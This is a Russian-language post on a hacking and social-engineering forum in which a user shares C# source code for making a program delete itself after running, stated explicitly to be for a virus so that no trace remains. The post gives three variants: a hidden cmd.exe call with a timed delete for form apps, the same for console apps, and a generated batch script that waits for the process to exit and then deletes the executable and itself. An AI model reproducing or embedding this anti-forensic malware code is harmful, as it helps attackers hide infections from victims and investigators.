C# Исходник - Само-удаление программы(для вируса) | ФОРУМ СОЦИАЛЬНОЙ ИНЖЕНЕРИИ ⭐️MeHack⭐️ - Читы, базы, раздачи аккаунтов, сливы скриптов, способы заработка

C# Исходник - Само-удаление программы(для вируса)

Тема в разделе "C#", создана пользователем SKWOSY, 04.11.17.Просмотров: 533

  1. SKWOSY HACKER //

    SKWOSY

    45 сообщения
    43 симпатий
    0
    розыгрышей
    8 лет с нами
    1 месяц с нами
    2 дня с нами
    Никто не хочет оставлять после себя какое-либо тело от вашей программы(вируса)
    поэтому мы сделаем самоудаление программы после окончания всех ею функций!)
    Пользуемся!!

    Для формы:

    Код:
    ProcessStartInfo Flash = new ProcessStartInfo();
    
    Flash.Arguments = "/C choice /C Y /N /D Y /T 3 & Del" + Application.ExecutablePath; Flash.WindowStyle = ProcessWindowStyle.Hidden; Flash.CreateNoWindow = true; Flash.FileName = "cmd.exe";Process.Start(Flash);
    Process.GetCurrentProcess().Kill();

    Для консоли:

    Код:
    ProcessStartInfo Flash = new ProcessStartInfo();
    Flash.Arguments = "/C choice /C Y /N /D Y /T 3 &
    Del \"" + (new FileInfo((new Uri(Assembly.GetExecutingAssembly().CodeBase)).LocalPath)).Name + "\""; Flash.WindowStyle = ProcessWindowStyle.Hidden; Flash.CreateNoWindow = true; Flash.FileName = "cmd.exe"; Process.Start(Flash).Dispose();
    Process.GetCurrentProcess().Kill();
    Так же можно с помощью скрипта:
    Код:
    public static void InitiateSelfDestructSequence()
    
    
    {
    string batchScriptName = "BatchScript.bat";
    using (StreamWriter writer = File.AppendText(batchScriptName))
    {
    writer.WriteLine(":Loop");
    writer.WriteLine("Tasklist /fi \"PID eq " + Process.GetCurrentProcess().Id.ToString() + "\" | find \":\"");
    writer.WriteLine("if Errorlevel 1 (");
    writer.WriteLine(" Timeout /T 1 /Nobreak");
    writer.WriteLine(" Goto Loop");
    writer.WriteLine(")");
    writer.WriteLine("Del \"" + (new FileInfo((new Uri(Assembly.GetExecutingAssembly().CodeBase)).LocalPath)).Name + "\"");
    }
    Process.Start(new ProcessStartInfo() { Arguments = "/C " + batchScriptName + " & Del " + batchScriptName, WindowStyle = ProcessWindowStyle.Hidden, CreateNoWindow = true, FileName = "cmd.exe" });
    }